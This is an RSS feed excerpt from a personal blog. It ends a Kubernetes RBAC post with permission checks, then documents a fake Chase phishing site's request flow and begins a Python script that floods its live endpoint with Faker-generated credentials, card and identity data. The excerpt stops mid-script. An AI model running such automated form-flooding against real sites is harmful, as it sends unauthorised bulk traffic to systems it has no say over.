</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-2 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">no
</span></span></code></pre></td></tr></table>
</blockquote><p>Works as expected!</p>
<p>Now let&rsquo;s try getting the <code>credentials</code> secret we created earlier just to double check. We should get the same results as above.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets/credentials --as<span class="o">=</span>system:serviceaccount:example:service-account-1 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">yes
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i get secrets/credentials --as<span class="o">=</span>system:serviceaccount:example:service-account-2 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">no
</span></span></code></pre></td></tr></table>
</blockquote><p>Works as expected.</p>
<p>Next let&rsquo;s try listing secrets under both service accounts. This time we expect <code>service-account-2</code> to be able to <code>list</code> secrets, but not <code>service-account-1</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i list secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-1 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">no
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">$ kubectl auth can-i list secrets --as<span class="o">=</span>system:serviceaccount:example:service-account-2 -n example
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">yes
</span></span></code></pre></td></tr></table>
</blockquote><p>Works as expected once again!</p>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li>

<a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/" target="_blank" rel="noopener">https://kubernetes.io/docs/reference/access-authn-authz/rbac/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Making Life More Difficult for Bank Scammers</title>
      <link>https://nelson.cloud/making-life-more-difficult-for-bank-scammers/?ref=rss</link>
      <pubDate>Thu, 22 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/making-life-more-difficult-for-bank-scammers/?ref=rss</guid>
      <description>Using Python to flood scammers with fake information.</description><content:encoded><![CDATA[<p>If you&rsquo;ve been around you know I enjoy spamming phishing/scamming sites. I recently received this fake Chase email and decided to go down another phishing/scamming attempt.</p>
<img src="/chase-scam/email.webp" alt="Phishing Email" width="720" height="357" style="max-width: 100%; height: auto; aspect-ratio: 1500 / 744;" loading="lazy" decoding="async">
<p>The email linked to a Google Drive link of a PDF.</p>
<img src="/chase-scam/pdf.webp" alt="Google Drive PDF" width="720" height="276" style="max-width: 100%; height: auto; aspect-ratio: 2796 / 1072;" loading="lazy" decoding="async">
<p>The PDF itself links to somewhere else. I clicked on the PDF and after some redirects I ultimately landed on a fake Chase login site. Look at the URL lol.</p>
<img src="/chase-scam/login.webp" alt="Fake Chase login form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>Next, I opened my browser dev tools, I filled in the form and pressed &ldquo;Sign In&rdquo;.</p>
<p>A <code>POST</code> request goes out to <code>https://secure005.access.chaise.com.secure-accessaccount.com/submit.php</code> with this payload:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;ip&#34;</span><span class="p">:</span><span class="s2">&#34;138.199.35.102&#34;</span><span class="p">,</span><span class="nt">&#34;uagent&#34;</span><span class="p">:</span><span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;0&#34;</span><span class="p">,</span><span class="nt">&#34;j_username&#34;</span><span class="p">:</span><span class="s2">&#34;anon&#34;</span><span class="p">,</span><span class="nt">&#34;j_password&#34;</span><span class="p">:</span><span class="s2">&#34;password&#34;</span><span class="p">,</span><span class="nt">&#34;securityToken&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I was shown this page:</p>
<img src="/chase-scam/wrong-credentials.webp" alt="Error message" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>And of course on the frontend there&rsquo;s a message about incorrect credentials. It&rsquo;s one of the most common tricks these people use.</p>
<p>Attempting to submit new credentials does nothing. I noticed that the &ldquo;reset your password&rdquo; link is the only way forward so I clicked that and it took me to this page:</p>
<img src="/chase-scam/otp.webp" alt="One-time code form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>It&rsquo;s asking for a one-time code. I&rsquo;m not really sure how they expect people to enter a code that they normally receive after submitting <em>correct</em> credentials. Not only that but they don&rsquo;t even know the phone number of the user. Either way, I filled in <code>000000</code> and hit &ldquo;Next&rdquo;.</p>
<p>Another <code>POST</code> request goes out to the same URL as before: <code>https://secure005.access.chaise.com.secure-accessaccount.com/submit.php</code> with this JSON:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;1&#34;</span><span class="p">,</span><span class="nt">&#34;otp&#34;</span><span class="p">:</span><span class="s2">&#34;000000&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>(I think it&rsquo;s obvious now that the <code>stp</code> parameter that keeps showing up represents the step of the fake password recovery process. And based on the value of step, the logic of <code>submit.php</code> parses the JSON accordingly.)</p>
<p>Then I landed on this page that asks me for my card information:</p>
<img src="/chase-scam/credit-card.webp" alt="credit card form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>I once again filled the form with fake information and hit &ldquo;Next&rdquo;. Another <code>POST</code> request went out to the same URL as before. The main thing that changes here are the headers and the JSON payload.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;2&#34;</span><span class="p">,</span><span class="nt">&#34;cnum&#34;</span><span class="p">:</span><span class="s2">&#34;6504 8764 7593 8248&#34;</span><span class="p">,</span><span class="nt">&#34;expd&#34;</span><span class="p">:</span><span class="s2">&#34;03/24&#34;</span><span class="p">,</span><span class="nt">&#34;cvv&#34;</span><span class="p">:</span><span class="s2">&#34;333&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>(Also, I haven&rsquo;t been showing the headers because they&rsquo;re not that interesting, but I am keeping track of them for scripting purposes later.)</p>
<p>Next, I was shown this form. Notice how the first field says &ldquo;Full Number&rdquo;. I&rsquo;m pretty sure they meant &ldquo;Full Name&rdquo; lol.</p>
<img src="/chase-scam/personal-details.webp" alt="personal details form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>Once again, I filled out and submitted the form.</p>
<p>Once again, a <code>POST</code> request goes out to the same URL. This time the JSON payload looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;3&#34;</span><span class="p">,</span><span class="nt">&#34;fullname&#34;</span><span class="p">:</span><span class="s2">&#34;Fuck You&#34;</span><span class="p">,</span><span class="nt">&#34;bdate&#34;</span><span class="p">:</span><span class="s2">&#34;01/01/1900&#34;</span><span class="p">,</span><span class="nt">&#34;ssn&#34;</span><span class="p">:</span><span class="s2">&#34;123-74-6772&#34;</span><span class="p">,</span><span class="nt">&#34;phone&#34;</span><span class="p">:</span><span class="s2">&#34;(827) 373-8139&#34;</span><span class="p">,</span><span class="nt">&#34;address&#34;</span><span class="p">:</span><span class="s2">&#34;some st&#34;</span><span class="p">,</span><span class="nt">&#34;city&#34;</span><span class="p">:</span><span class="s2">&#34;some city&#34;</span><span class="p">,</span><span class="nt">&#34;state&#34;</span><span class="p">:</span><span class="s2">&#34;FU&#34;</span><span class="p">,</span><span class="nt">&#34;zip&#34;</span><span class="p">:</span><span class="s2">&#34;82920&#34;</span><span class="p">,</span><span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;nah@fu.com&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>fullname</code> key in the JSON payload confirms that they meant to write &ldquo;Full Name&rdquo; in the field as opposed to &ldquo;Full Number&rdquo; lol.</p>
<p>After submitting the previous form I was shown yet another one, this time asking for email address and email password. They are really thorough. They also asked for my email in the previous step so that was a bit redundant.</p>
<img src="/chase-scam/email-form.webp" alt="email form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>I typed in some fake credentials and submitted the form. A <code>POST</code> request goes out to the same URL as before with the following JSON payload:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;4&#34;</span><span class="p">,</span><span class="nt">&#34;cemail&#34;</span><span class="p">:</span><span class="s2">&#34;nah@fu.com&#34;</span><span class="p">,</span><span class="nt">&#34;bdate&#34;</span><span class="p">:</span><span class="s2">&#34;ajlksdasdjl&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I was redirected to the official Chase site:</p>
<img src="/chase-scam/chase-site.webp" alt="official chase site" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<h2 id="spamming-fake-information-with-python">Spamming Fake Information with Python</h2>
<p>If you&rsquo;ve read my previous articles about scams and phishing, you know what&rsquo;s next. It&rsquo;s time to write up a Python script to spam these people with fake information and hopefully make their lives harder.</p>
<p>These guys were thorough so I&rsquo;ll need to dynamically create 5 different payloads and send them to the url. Thankfully it&rsquo;s the same endpoint for all of these payloads.</p>
<p>I want to dynamically generate headers and payloads that seem as realistic as possible. These scammers were thorough so I want to be thorough in making their lives more difficult (also I&rsquo;m unemployed right now so I have a lot of free time. Someone please hire me 🥺)</p>
<p>This is the Python script I came up with:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">uuid</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com/submit.php&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># headers that are consistent among every request</span>
</span></span><span class="line"><span class="cl"><span class="n">base_headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;secure005.access.chaise.com.secure-accessaccount.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;*/*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;DNT&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://secure005.access.chaise.com.secure-accessaccount.com/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">step_0_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_1_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_2_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_3_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_4_cookie</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">step_0_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_1_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_2_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_3_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">step_4_payload</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">generate_headers_and_payloads</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># telling Python to modify the variables on a global scope</span>
</span></span><span class="line"><span class="cl">    <span class="k">global</span> <span class="n">step_0_cookie</span><span class="p">,</span> <span class="n">step_1_cookie</span><span class="p">,</span> <span class="n">step_2_cookie</span><span class="p">,</span> <span class="n">step_3_cookie</span><span class="p">,</span> <span class="n">step_4_cookie</span><span class="p">,</span> <span class="n">step_0_payload</span><span class="p">,</span> <span class="n">step_1_payload</span><span class="p">,</span> <span class="n">step_2_payload</span><span class="p">,</span> <span class="n">step_3_payload</span><span class="p">,</span> <span class="n">step_4_payload</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fake_phpsessid</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choices</span><span class="p">(</span><span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="mi">26</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_0_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=0; ppath=web%2Fauth%2Fdashboard%23%2Fdashboard%2Findex%2Findex&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_1_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=1; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_2_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=2; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_3_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=3; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">step_4_cookie</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;Cookie&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;PHPSESSID=</span><span class="si">{</span><span class="n">fake_phpsessid</span><span class="si">}</span><span class="s2">; stp=4; ppath=oamo/identity/help/passwordhelp/&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">uid</span> <span class="o">=</span> <span class="n">uuid</span><span class="o">.</span><span class="n">uuid4</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_0_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;ip&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">ipv4</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uagent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;j_username&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;username&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;j_password&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(</span><span class="n">length</span><span class="o">=</span><span class="mi">12</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;securityToken&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">step_1_payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;uid&#34;</span><span class="p">:</span> <span class="n">uid</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;stp&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;otp&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">random_int</span><span class="p">(</span><span class="nb">min</span><span class="o">=</span><span class="mi">100000</span><span class="p">,</span> <span class="nb">max</span><span class="o">=</span><span class="mi">999999</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># the credit card in the payload has spaces in between every 4 digits, so I am replicating this</span>
</span></span><span class="line"><span class="cl">    <span class="n">credit_card_number</span> <span class="o">=</span> <span class="n">fake</span><span class="o">.</span><span class="n">credit_card_number</span><span class="p">(</span><span class="s2">&#34;mastercard&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># adding spaces in between every 4 digits</span>
</span></span><span class="line"><span class="cl">    <span class="n">credit_card_number</span> <span class="o">=</span> <span class="s2">&#34; &#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span>
